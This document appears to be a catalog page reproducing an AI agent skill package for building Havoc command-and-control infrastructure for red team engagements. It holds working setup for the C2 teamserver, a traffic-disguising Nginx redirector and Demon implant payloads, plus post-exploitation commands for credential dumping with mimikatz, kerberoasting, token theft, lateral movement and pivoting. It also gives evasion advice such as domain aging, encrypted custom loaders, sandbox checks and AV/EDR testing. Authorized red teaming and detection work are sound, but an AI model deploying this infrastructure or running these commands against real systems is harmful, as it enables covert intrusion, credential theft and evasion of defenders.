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**What it does.** Deploy and configure the Havoc C2 framework (teamserver, HTTPS/HTTP/SMB Part of [[skills-anthropic-cybersecurity-skills]] (mukul975/Anthropic-Cybersecurity-Skills).

| | |
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| Upstream | [mukul975/Anthropic-Cybersecurity-Skills](https://github.com/mukul975/Anthropic-Cybersecurity-Skills) |
| Skill file | [skills/building-red-team-c2-infrastructure-with-havoc/SKILL.md](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/HEAD/skills/building-red-team-c2-infrastructure-with-havoc/SKILL.md) |
| License | Apache-2.0 (skill folder LICENSE) |
| Author | mukul975 |
| Fetched | 2026-09-10 |

## Install

- `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill building-red-team-c2-infrastructure-with-havoc`, or copy the skill folder into `~/.claude/skills/building-red-team-c2-infrastructure-with-havoc/`.
- Raw file: `curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-red-team-c2-infrastructure-with-havoc/SKILL.md`

## SKILL.md (verbatim)

```yaml
name: building-red-team-c2-infrastructure-with-havoc
description: Deploy and configure the Havoc C2 framework (teamserver, HTTPS/HTTP/SMB
  listeners, Nginx redirectors, and Demon agents) with malleable traffic profiles and
  OPSEC-hardened infrastructure for authorized red team operations. Use when standing
  up or hardening Havoc C2 infrastructure for a written, authorized adversary emulation
  engagement.
domain: cybersecurity
subdomain: red-teaming
tags:
- havoc-c2
- command-and-control
- red-team-infrastructure
- post-exploitation
- adversary-emulation
- demon-agent
version: '1.0'
author: mahipal
license: Apache-2.0
nist_ai_rmf:
- GOVERN-1.1
- MEASURE-2.7
- MANAGE-3.1
d3fend_techniques:
- File Metadata Consistency Validation
- Certificate Analysis
- Application Protocol Command Analysis
- Content Format Conversion
- File Content Analysis
nist_csf:
- ID.RA-01
- GV.OV-02
- DE.AE-07
mitre_attack:
- T1071.001
- T1573.002
- T1583.001
- T1090.002
- T1105
- T1055
```

# Building Red Team C2 Infrastructure with Havoc

## Overview

Havoc is a modern, open-source post-exploitation command and control (C2) framework created by C5pider. It provides a collaborative multi-operator interface similar to Cobalt Strike, featuring the Demon agent for Windows post-exploitation, customizable profiles for traffic malleable configurations, and support for HTTP/HTTPS/SMB listeners. This skill covers deploying production-grade Havoc C2 infrastructure with proper OPSEC considerations for authorized red team engagements.


## When to Use

- When deploying or configuring building red team c2 infrastructure with havoc capabilities in your environment
- When establishing security controls aligned to compliance requirements
- When building or improving security architecture for this domain
- When conducting security assessments that require this implementation

## Prerequisites

- Ubuntu 22.04 LTS or Debian 11+ (for Teamserver)
- Kali Linux 2023+ (for Client)
- VPS providers: DigitalOcean, Linode, or AWS EC2 (minimum 2GB RAM, 2 vCPU)
- Domain name aged 30+ days with valid SSL certificate
- Written authorization for red team engagement

## Architecture

```
┌──────────────────────────────────────────────────────────────┐
│                    HAVOC C2 ARCHITECTURE                      │
├──────────────────────────────────────────────────────────────┤
│                                                               │
│  ┌──────────┐     ┌──────────────┐     ┌──────────────────┐ │
│  │  Havoc    │────▶│  HTTPS       │────▶│  Target Network  │ │
│  │  Client   │     │  Redirector  │     │  (Demon Agent)   │ │
│  │  (Kali)   │     │  (Nginx/CDN) │     │                  │ │
│  └──────────┘     └──────────────┘     └──────────────────┘ │
│       │                   │                                   │
│       │           ┌──────────────┐                            │
│       └──────────▶│  Havoc       │                            │
│                   │  Teamserver  │                            │
│                   │  (Ubuntu VPS)│                            │
│                   │  Port 40056  │                            │
│                   └──────────────┘                            │
│                                                               │
└──────────────────────────────────────────────────────────────┘
```

## Step 1: Install Havoc Teamserver

```bash
# Clone the Havoc repository
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc

# Install dependencies (Ubuntu 22.04)
sudo apt update
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 \
    libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev \
    libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev \
    libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser \
    qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev \
    qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev \
    python3-dev libboost-all-dev mingw-w64 nasm

# Build the Teamserver
cd teamserver
go mod download golang.org/x/sys
go mod download github.com/ugorji/go
cd ..
make ts-build

# Build the Client
make client-build
```

## Step 2: Configure Teamserver Profile

Create the Havoc profile (`havoc.yaotl`):

```hcl
Teamserver {
    Host = "0.0.0.0"
    Port = 40056

    Build {
        Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
        Compiler86 = "/usr/bin/i686-w64-mingw32-gcc"
        Nasm = "/usr/bin/nasm"
    }
}

Operators {
    user "operator1" {
        Password = "Str0ngP@ssw0rd!"
    }
    user "operator2" {
        Password = "An0th3rP@ss!"
    }
}

Listeners {
    Http {
        Name         = "HTTPS Listener"
        Hosts        = ["c2.yourdomain.com"]
        HostBind     = "0.0.0.0"
        HostRotation = "round-robin"
        PortBind     = 443
        PortConn     = 443
        Secure       = true
        UserAgent    = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

        Uris = [
            "/api/v2/auth",
            "/api/v2/status",
            "/content/images/gallery",
        ]

        Headers = [
            "X-Requested-With: XMLHttpRequest",
            "Content-Type: application/json",
        ]

        Response {
            Headers = [
                "Content-Type: application/json",
                "Server: nginx/1.24.0",
                "X-Frame-Options: DENY",
            ]
        }
    }
}

Demon {
    Sleep  = 10
    Jitter = 30

    TrustXForwardedFor = false

    Injection {
        Spawn64 = "C:\\Windows\\System32\\notepad.exe"
        Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
    }
}
```

## Step 3: Start Teamserver

```bash
# Start the Havoc Teamserver with the profile
./havoc server --profile ./profiles/havoc.yaotl -v

# Expected output:
# [*] Havoc Framework [Version: 0.7]
# [*] Teamserver started on: 0.0.0.0:40056
# [*] HTTPS Listener started on: 0.0.0.0:443
```

## Step 4: Configure HTTPS Redirector

Set up an Nginx reverse proxy on a separate VPS as a redirector:

```nginx
# /etc/nginx/sites-available/c2-redirector
server {
    listen 443 ssl;
    server_name c2.yourdomain.com;

    ssl_certificate /etc/letsencrypt/live/c2.yourdomain.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/c2.yourdomain.com/privkey.pem;

    # Only forward traffic matching C2 URIs
    location /api/v2/auth {
        proxy_pass https://TEAMSERVER_IP:443;
        proxy_ssl_verify off;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $remote_addr;
    }

    location /api/v2/status {
        proxy_pass https://TEAMSERVER_IP:443;
        proxy_ssl_verify off;
        proxy_set_header Host $host;
    }

    location /content/images/gallery {
        proxy_pass https://TEAMSERVER_IP:443;
        proxy_ssl_verify off;
        proxy_set_header Host $host;
    }

    # Redirect all other traffic to legitimate site
    location / {
        return 301 https://www.microsoft.com;
    }
}
```

## Step 5: Generate Demon Payload

```bash
# Via the Havoc Client GUI:
# Attack > Payload
# Agent: Demon
# Listener: HTTPS Listener
# Arch: x64
# Format: Windows Exe / Windows Shellcode
# Sleep Technique: WaitForSingleObjectEx (Ekko)
# Spawn: C:\Windows\System32\notepad.exe

# The generated Demon payload connects back through:
# Target -> Redirector (Nginx) -> Teamserver
```

## Step 6: Post-Exploitation with Demon

Once a Demon session checks in, common post-exploitation commands:

```
# Session interaction
demon> whoami
demon> shell systeminfo
demon> shell ipconfig /all

# Process listing
demon> proc list

# File operations
demon> download C:\Users\target\Documents\sensitive.docx
demon> upload /tools/Rubeus.exe C:\Windows\Temp\r.exe

# In-memory .NET execution (no disk touch)
demon> dotnet inline-execute /tools/Seatbelt.exe -group=all
demon> dotnet inline-execute /tools/SharpHound.exe -c All

# Token manipulation
demon> token steal <PID>
demon> token make DOMAIN\user password

# Credential access
demon> mimikatz sekurlsa::logonpasswords
demon> dotnet inline-execute /tools/Rubeus.exe kerberoast

# Lateral movement
demon> jump psexec TARGET_HOST HTTPS_LISTENER
demon> jump winrm TARGET_HOST HTTPS_LISTENER

# Pivoting
demon> socks start 1080
demon> rportfwd start 8080 TARGET_INTERNAL 80
```

## OPSEC Considerations

| Aspect | Recommendation |
|---|---|
| Domain Age | Register domains 30+ days before engagement |
| SSL Certificates | Use Let's Encrypt or purchased certificates, never self-signed |
| Categorization | Submit domain to Bluecoat/Fortiguard for categorization |
| Sleep/Jitter | Minimum 10s sleep with 30%+ jitter for long-haul operations |
| User-Agent | Match target organization's common browser user-agent |
| Kill Date | Set payload expiration to engagement end date |
| Infrastructure | Separate teamserver, redirector, and phishing infrastructure |
| Payload Format | Use shellcode with custom loader instead of raw EXE |

## MITRE ATT&CK Mapping

| Technique ID | Name | Phase |
|---|---|---|
| T1583.001 | Acquire Infrastructure: Domains | Resource Development |
| T1583.003 | Acquire Infrastructure: Virtual Private Server | Resource Development |
| T1587.001 | Develop Capabilities: Malware | Resource Development |
| T1071.001 | Application Layer Protocol: Web Protocols | Command and Control |
| T1573.002 | Encrypted Channel: Asymmetric Cryptography | Command and Control |
| T1090.002 | Proxy: External Proxy | Command and Control |
| T1105 | Ingress Tool Transfer | Command and Control |
| T1055 | Process Injection | Defense Evasion |

## References

- Havoc Framework GitHub: https://github.com/HavocFramework/Havoc
- Havoc Wiki: https://github.com/HavocFramework/Havoc/blob/main/WIKI.MD
- RedTeamOps Havoc 101: https://github.com/WesleyWong420/RedTeamOps-Havoc-101
- Deploying Havoc C2 via Terraform: https://www.100daysofredteam.com/p/red-team-infrastructure-deploying-havoc-c2-via-terraform

## Other files in this skill

- [LICENSE](https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-red-team-c2-infrastructure-with-havoc/LICENSE)
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## assets/template.md (verbatim)

# Havoc C2 Infrastructure Configuration Template

## Engagement Details

| Field | Value |
|---|---|
| Engagement ID | RT-YYYY-XXX |
| Client | [Organization] |
| Operators | [Names] |
| Start Date | YYYY-MM-DD |
| End Date | YYYY-MM-DD |
| Kill Date | YYYY-MM-DD |

## Infrastructure Inventory

### Teamserver

| Field | Value |
|---|---|
| Provider | [AWS/DigitalOcean/Linode] |
| IP Address | X.X.X.X |
| OS | Ubuntu 22.04 LTS |
| Port | 40056 |
| Havoc Version | 0.7 |
| Access | SSH Key: [key name] |

### Redirector(s)

| Name | Provider | IP | Domain | SSL Cert | Status |
|---|---|---|---|---|---|
| Redirector-1 | [Provider] | X.X.X.X | c2.domain.com | Let's Encrypt | Active |
| Redirector-2 | [Provider] | X.X.X.X | cdn.domain2.com | Let's Encrypt | Standby |

### Domains

| Domain | Purpose | Registered | Aged | Categorized | SSL |
|---|---|---|---|---|---|
| c2.domain.com | Primary C2 | YYYY-MM-DD | Yes (45 days) | Business | Yes |
| cdn.domain2.com | Backup C2 | YYYY-MM-DD | Yes (60 days) | Technology | Yes |
| phish.domain3.com | Phishing | YYYY-MM-DD | Yes (30 days) | Uncategorized | Yes |

## Havoc Profile Configuration

```yaml
Teamserver:
  Host: "0.0.0.0"
  Port: 40056

Operators:
  - Username: operator1
    Password: [REDACTED]
  - Username: operator2
    Password: [REDACTED]

Listeners:
  - Name: "Primary HTTPS"
    Type: HTTPS
    Host: c2.domain.com
    Port: 443
    URIs: ["/api/v2/auth", "/api/v2/status", "/content/images/gallery"]
    User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
    Jitter: 30%

  - Name: "SMB Pivot"
    Type: SMB
    PipeName: "\\ntsvcs"

Demon:
  Sleep: 10
  Jitter: 30
  Spawn64: "C:\\Windows\\System32\\notepad.exe"
  Spawn32: "C:\\Windows\\SysWOW64\\notepad.exe"
```

## Payload Inventory

| Payload | Format | Listener | Arch | Hash (SHA256) | Delivery |
|---|---|---|---|---|---|
| stage1.bin | Shellcode | Primary HTTPS | x64 | [hash] | Custom loader |
| beacon.dll | DLL | Primary HTTPS | x64 | [hash] | DLL sideloading |
| pivot.exe | Service EXE | SMB Pivot | x64 | [hash] | Lateral movement |

## OPSEC Checklist

### Pre-Engagement
- [ ] Domains registered 30+ days before engagement start
- [ ] Domains categorized in Bluecoat, Fortiguard, Palo Alto
- [ ] SSL certificates obtained from trusted CA (not self-signed)
- [ ] Teamserver hardened (SSH keys only, fail2ban, UFW)
- [ ] Redirector filtering non-C2 traffic to legitimate site
- [ ] Malleable profile customized (URIs, headers, user-agent)
- [ ] Payloads tested against target AV/EDR in isolated lab
- [ ] Kill date configured on all payloads
- [ ] Operator logs enabled and encrypted at rest

### During Engagement
- [ ] Beacon sleep/jitter appropriate for operation phase
- [ ] No default Havoc indicators in network traffic
- [ ] Post-exploitation tools loaded in-memory only
- [ ] Named pipes and service names randomized
- [ ] Token manipulation used instead of credential replay where possible

### Post-Engagement
- [ ] All Demon sessions terminated
- [ ] All persistence mechanisms removed from target
- [ ] All payloads removed from target systems
- [ ] Teamserver logs archived and encrypted
- [ ] VPS instances destroyed
- [ ] Domains released or parked
- [ ] IOC list provided to client

## Emergency Procedures

| Scenario | Action |
|---|---|
| Burned domain | Switch to backup redirector |
| Detected implant | Sleep beacon to 24h, assess exposure |
| Teamserver compromise | Kill all sessions, rotate infrastructure |
| Client emergency stop | Execute `killall` on all active Demons |
| Legal escalation | Contact [Legal Contact] at [phone] |

## Operator Communication

| Channel | Purpose |
|---|---|
| Signal Group | Real-time coordination |
| Encrypted Email | Reports and documentation |
| Havoc Chat | In-tool session coordination |
| Emergency Phone | [Phone number] for critical issues |

## references/api-reference.md (verbatim)

# API Reference: Red Team C2 Infrastructure with Havoc

> For authorized penetration testing and lab environments only.

## Havoc Teamserver API
```
Base URL: https://{teamserver}:{port}/api/
Authorization: Bearer {token}
```

## Listener Endpoints
| Method | Endpoint | Description |
|--------|----------|-------------|
| GET | `/api/listeners` | List active listeners |
| POST | `/api/listeners` | Create new listener |
| DELETE | `/api/listeners/{name}` | Remove listener |

## Agent (Demon) Endpoints
| Method | Endpoint | Description |
|--------|----------|-------------|
| GET | `/api/agents` | List connected agents |
| POST | `/api/agents/{id}/command` | Task agent |
| GET | `/api/agents/{id}/output` | Get task output |

## HTTPS Listener Config
```json
{
  "name": "https-c2",
  "protocol": "Https",
  "host": "0.0.0.0",
  "port": 443,
  "hosts": ["c2.example.com"],
  "secure": true,
  "user_agent": "Mozilla/5.0 ..."
}
```

## SMB Listener Config
```json
{
  "name": "smb-pivot",
  "protocol": "Smb",
  "pipe_name": "\\\\.\\pipe\\mojo_ipc"
}
```

## Payload Generation
```json
POST /api/payloads/generate
{
  "listener": "https-c2",
  "arch": "x64",
  "format": "exe",
  "config": {
    "sleep": 5,
    "jitter": 20,
    "indirect_syscalls": true,
    "sleep_technique": "WaitForSingleObjectEx"
  }
}
```

## Payload Formats
| Format | Description |
|--------|-------------|
| `exe` | Windows PE executable |
| `dll` | DLL side-loading |
| `shellcode` | Raw shellcode |
| `service_exe` | Windows service binary |

## Agent Properties
| Field | Description |
|-------|-------------|
| `agent_id` | Unique identifier |
| `hostname` | Target hostname |
| `username` | Running user context |
| `os` | Operating system |
| `process_name` | Host process |
| `pid` | Process ID |
| `sleep` | Callback interval (seconds) |
| `last_callback` | Last check-in time |

## references/standards.md (verbatim)

# Standards and References: Havoc C2 Infrastructure

## MITRE ATT&CK Techniques

### Resource Development (TA0042)
- **T1583.001** - Acquire Infrastructure: Domains
- **T1583.003** - Acquire Infrastructure: Virtual Private Server
- **T1583.006** - Acquire Infrastructure: Web Services
- **T1587.001** - Develop Capabilities: Malware
- **T1587.003** - Develop Capabilities: Digital Certificates
- **T1608.001** - Stage Capabilities: Upload Malware
- **T1608.005** - Stage Capabilities: Link Target

### Command and Control (TA0011)
- **T1071.001** - Application Layer Protocol: Web Protocols (HTTP/HTTPS)
- **T1573.001** - Encrypted Channel: Symmetric Cryptography
- **T1573.002** - Encrypted Channel: Asymmetric Cryptography
- **T1090.001** - Proxy: Internal Proxy
- **T1090.002** - Proxy: External Proxy
- **T1090.004** - Proxy: Domain Fronting
- **T1105** - Ingress Tool Transfer
- **T1132.001** - Data Encoding: Standard Encoding
- **T1001** - Data Obfuscation
- **T1568.002** - Dynamic Resolution: Domain Generation Algorithms
- **T1571** - Non-Standard Port
- **T1572** - Protocol Tunneling

### Defense Evasion (TA0005)
- **T1055** - Process Injection
- **T1055.012** - Process Hollowing
- **T1620** - Reflective Code Loading
- **T1027** - Obfuscated Files or Information
- **T1497** - Virtualization/Sandbox Evasion
- **T1140** - Deobfuscate/Decode Files or Information

### Execution (TA0002)
- **T1059.001** - PowerShell
- **T1106** - Native API
- **T1129** - Shared Modules

## NIST References

- **NIST SP 800-115** - Section 4.3: Penetration Testing (authorized C2 usage)
- **NIST SP 800-53 Rev. 5** - CA-8: Penetration Testing controls
- **NIST SP 800-53 Rev. 5** - SI-4: Information System Monitoring (detection of C2)

## Havoc-Specific Detection Signatures

| Detection | Source | Rule |
|---|---|---|
| Default Havoc HTTP Headers | Network IDS | `alert http any any -> any any (msg:"Havoc C2 Default Headers"; content:"X-Havoc"; sid:1000001;)` |
| Demon Sleep Patterns | EDR | Periodic beaconing with consistent intervals +/- jitter |
| Named Pipe Patterns | Sysmon | EventID 17/18 with `\\.\pipe\` matching Havoc defaults |
| Default Teamserver Port | Firewall | TCP 40056 outbound |

## Compliance Context

Havoc C2 usage is only authorized under:
- Signed Rules of Engagement (RoE) documents
- Authorized penetration testing under PCI DSS 11.4, SOC 2 CC7.1
- TIBER-EU / CBEST threat-led penetration testing frameworks
- Bug bounty programs with explicit C2 authorization

## references/workflows.md (verbatim)

# Workflows: Havoc C2 Infrastructure Deployment

## Infrastructure Deployment Workflow

```
┌─────────────────────────────────────────────────────────────────┐
│              HAVOC C2 DEPLOYMENT WORKFLOW                         │
├─────────────────────────────────────────────────────────────────┤
│                                                                  │
│  1. DOMAIN & INFRASTRUCTURE PREPARATION (Week -4)                │
│     ├── Register domain names (aged 30+ days)                    │
│     ├── Submit domains for categorization (Bluecoat, Fortiguard) │
│     ├── Provision VPS instances (Teamserver + Redirector)        │
│     ├── Obtain SSL certificates (Let's Encrypt)                  │
│     └── Configure DNS A records                                  │
│                                                                  │
│  2. TEAMSERVER SETUP (Day 1)                                     │
│     ├── Install dependencies on Ubuntu VPS                       │
│     ├── Clone and build Havoc from source                        │
│     ├── Create teamserver profile (havoc.yaotl)                  │
│     │   ├── Configure operator credentials                       │
│     │   ├── Define listeners (HTTPS, SMB)                        │
│     │   ├── Set Demon agent parameters                           │
│     │   └── Configure malleable traffic profiles                 │
│     ├── Harden teamserver (iptables, fail2ban)                   │
│     └── Start teamserver with verbose logging                    │
│                                                                  │
│  3. REDIRECTOR CONFIGURATION (Day 1-2)                           │
│     ├── Install Nginx on redirector VPS                          │
│     ├── Configure SSL termination                                │
│     ├── Set up reverse proxy rules                               │
│     │   ├── Forward C2 URIs to teamserver                        │
│     │   └── Redirect non-matching traffic to legit site          │
│     ├── Configure access logging                                 │
│     └── Test end-to-end connectivity                             │
│                                                                  │
│  4. PAYLOAD DEVELOPMENT (Day 2-3)                                │
│     ├── Generate Demon shellcode via Havoc Client                │
│     ├── Develop custom loader (C/Rust/Nim)                       │
│     │   ├── AES-encrypt shellcode                                │
│     │   ├── Implement sleep obfuscation                          │
│     │   ├── Add sandbox checks                                   │
│     │   └── Use indirect syscalls                                │
│     ├── Test against AV/EDR in lab                               │
│     └── Package for delivery vector                              │
│                                                                  │
│  5. OPERATIONAL TESTING (Day 3-4)                                │
│     ├── Test beacon callback through full chain                  │
│     ├── Verify redirector filtering                              │
│     ├── Test sleep/jitter behavior                               │
│     ├── Validate post-exploitation modules                       │
│     └── Confirm kill switch functionality                        │
│                                                                  │
│  6. OPERATIONAL USE (Engagement period)                          │
│     ├── Deploy payloads via approved vectors                     │
│     ├── Manage sessions through Havoc Client                     │
│     ├── Execute post-exploitation tasks                          │
│     ├── Maintain operator logs                                   │
│     └── Monitor infrastructure health                            │
│                                                                  │
│  7. TEAR-DOWN (Post-engagement)                                  │
│     ├── Remove all implants from target systems                  │
│     ├── Archive engagement logs                                  │
│     ├── Destroy VPS instances                                    │
│     ├── Release domain names                                     │
│     └── Provide IOCs to client for deconfliction                 │
│                                                                  │
└─────────────────────────────────────────────────────────────────┘
```

## Havoc Listener Configuration Decision Tree

```
Select Listener Type
│
├── External (Internet-facing targets)?
│   ├── HTTPS Listener
│   │   ├── Use valid SSL certificate
│   │   ├── Configure malleable URIs
│   │   ├── Set User-Agent to match target
│   │   └── Route through redirector
│   └── HTTP Listener (lab only)
│       └── Never use in production operations
│
├── Internal (post-initial access)?
│   ├── SMB Listener (named pipe)
│   │   ├── For workstation-to-workstation pivoting
│   │   └── No direct internet connectivity needed
│   └── TCP Listener
│       └── For direct internal connections
│
└── Advanced?
    └── External C2 Listener
        ├── Custom protocol over DNS
        ├── Domain fronting via CDN
        └── Third-party service channels
```

## Terraform Deployment Template

```hcl
# main.tf - Automated Havoc C2 Infrastructure
provider "aws" {
  region = "us-east-1"
}

resource "aws_instance" "teamserver" {
  ami           = "ami-0c7217cdde317cfec"  # Ubuntu 22.04
  instance_type = "t3.medium"
  key_name      = var.ssh_key_name

  vpc_security_group_ids = [aws_security_group.teamserver_sg.id]

  user_data = file("scripts/install_havoc.sh")

  tags = {
    Name = "havoc-teamserver"
  }
}

resource "aws_instance" "redirector" {
  ami           = "ami-0c7217cdde317cfec"
  instance_type = "t3.micro"
  key_name      = var.ssh_key_name

  vpc_security_group_ids = [aws_security_group.redirector_sg.id]

  user_data = file("scripts/install_redirector.sh")

  tags = {
    Name = "havoc-redirector"
  }
}

resource "aws_security_group" "teamserver_sg" {
  name = "havoc-teamserver-sg"

  ingress {
    from_port   = 40056
    to_port     = 40056
    protocol    = "tcp"
    cidr_blocks = [var.operator_ip]
  }

  ingress {
    from_port   = 443
    to_port     = 443
    protocol    = "tcp"
    cidr_blocks = [aws_instance.redirector.public_ip]
  }
}

resource "aws_security_group" "redirector_sg" {
  name = "havoc-redirector-sg"

  ingress {
    from_port   = 443
    to_port     = 443
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
  }
}
```

## OPSEC Checklist

- [ ] Domains aged 30+ days before use
- [ ] Domains categorized in web proxies
- [ ] Valid SSL certificates installed
- [ ] Teamserver port (40056) firewalled to operator IPs only
- [ ] Redirector configured to filter non-C2 traffic
- [ ] Malleable C2 profile customized (URIs, headers, user-agent)
- [ ] Demon sleep set to 10+ seconds with 30%+ jitter
- [ ] Payload tested against target AV/EDR in lab
- [ ] Kill date set on all payloads
- [ ] Operator logs enabled and encrypted
- [ ] Emergency deconfliction process documented

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